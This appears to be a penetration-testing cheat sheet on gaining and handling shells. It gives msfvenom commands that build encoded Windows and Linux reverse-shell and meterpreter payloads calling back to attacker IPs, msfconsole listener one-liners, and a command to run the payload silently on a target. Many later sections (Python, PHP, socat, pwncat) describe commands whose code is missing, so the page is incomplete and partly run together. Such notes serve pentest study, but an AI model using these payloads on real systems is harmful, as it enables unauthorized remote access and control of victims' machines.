Shells
Always try different ports!
Reverse Shells
Automated reverse shell code:
Reverse Shell Generator (online)
Revshellgen (offline)
For Windows targets:
# Staged
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=80 -e x86/shikata_ga_nai -f exe -o staged_meterpreter_80.exe
# Non-staged
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.X LPORT=4444 -e x86/shikata_ga_nai -f exe -o non_staged_4444.exe
# Listener
$ sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 80; set exitonsession false; run;"
# Execute
meterpreter > execute -f cmd.exe -a "/c start /b C:\\Windows\\Temp\\agent.exe -connect 10.10.14.5:443 -ignore-cert" -HFor Linux targets:
# Staged
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=80 -f elf -o staged_meterpreter_80
# Listener
$ sudo msfconsole -q -x "use multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 80; set exitonsession false; run;"
# Execute payload from the target (background, session-detached, silence output)
nohup ./staged_meterpreter_80 > /dev/null 2>&1 &Create a socket, connect to the listener, duplicate the input, output, and error descriptors and call /bin/sh with subprocess:
The below commands instruct PHP to run (-r) the command within quotes:
The initial command injection places a malicious file in a world-writable directory (/var/tmp) that calls upon child_process and exec() functions:
Imports the Socket module, set up the socket, and pass it into a socket call. It then initializes the TCP connection (connect()), open channels for STDIN, STDOUT, and STDERR, and calls /bin/bash:
Webshells
Kali has various webshells under /usr/share/webshells.
Listeners
rlwrap is a utility that adds GNU Readline support—like command-line editing, history, and autocompletion—to applications that lack it. It's especially useful for older or minimal tools, and supports features like user-defined completion and input filtering.
Netcat is a versatile networking utility used for reading from and writing to network connections using TCP or UDP. It's commonly used for tasks like port scanning, file transfers, debugging, and creating simple servers or reverse shells.
socat (short for SOcket CAT) is a powerful command-line tool that establishes two bidirectional data streams and transfers data between them. It supports a wide range of socket types (e.g., TCP, UDP, SSL, PTY, files) and is often used for port forwarding, tunneling, and debugging network services.
Set up the listener on the attacking host:
Send the reverse shell from the target:
Download and send the revershe shell from the target in one-line:
pwncat is a post-exploitation tool designed for managing reverse shells more effectively by adding features like file upload/download, privilege escalation checks, and command history. It enhances basic shell access with automation, persistence, and scripting capabilities for penetration testers and red teamers.
Set up the listener on the attacking host:
Connect to a bind shell:
Connect to a remote SSH server:
Connect to a Windows target:
Switch between local and remote modes:
File transfers:
Enumreate from local mode:
Escalate privileges:
Persistence:
Upgrades
An upgraded shell gives us the ability to interrupt a process (
CTRL+C), tab completion, clear the screen, up and down arrows, text editing, etc.ttystands for teletype andptystands for pseudoterminal!
An upgraded shell can be spawn right away if socat is on the target host.
Set up a listener from the attacking host:
On the target host:
Restricted Shells
Last updated
Was this helpful?